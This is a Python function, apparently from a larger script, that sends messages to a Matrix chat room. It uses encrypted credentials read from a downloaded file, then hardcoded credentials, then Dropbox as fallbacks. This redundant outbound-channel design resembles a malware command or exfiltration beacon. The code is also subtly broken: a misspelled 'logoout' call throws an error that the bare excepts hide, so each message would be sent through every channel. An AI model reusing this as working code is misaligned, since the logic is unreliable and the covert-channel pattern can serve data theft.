def sendFunc(msgStr):
    # try to send a message (msgStr) via matrix protocol
    try:
        # try to read the updated credentials from a file received using previous function
        try:
            with open('updts.txt') as updts:
                updates = updts.read()
            decryptedDic = dcryptFunc(updates)
            martixServer = decryptedDic['martixServer']
            username = decryptedDic['username']
            password = decryptedDic['password']
            roomAddr = decryptedDic['roomAddr']
            client = MatrixClient(martixServer)
            token = client.login(username=username, password=password)
            room = client.join_room(roomAddr)
            room.send_text(msgStr)
            client.logoout()
        # if reading from file failed, probably due to file not being available,
        # connect to matrix server using hardcoded credentials
        except:
            client = MatrixClient("https://matrix.org")
            token = client.login(username="******",
                                 password="******")
            room = client.join_room(
                "Your_matrix_room_id")  # find it in room's advanced settings
            room.send_text(msgStr)
            client.logoout()
    # if matrix network was not available, like the time it got hacked on April, 2019(!)
    # send the message via Dropbox
    except:
        dropIt(msgStr)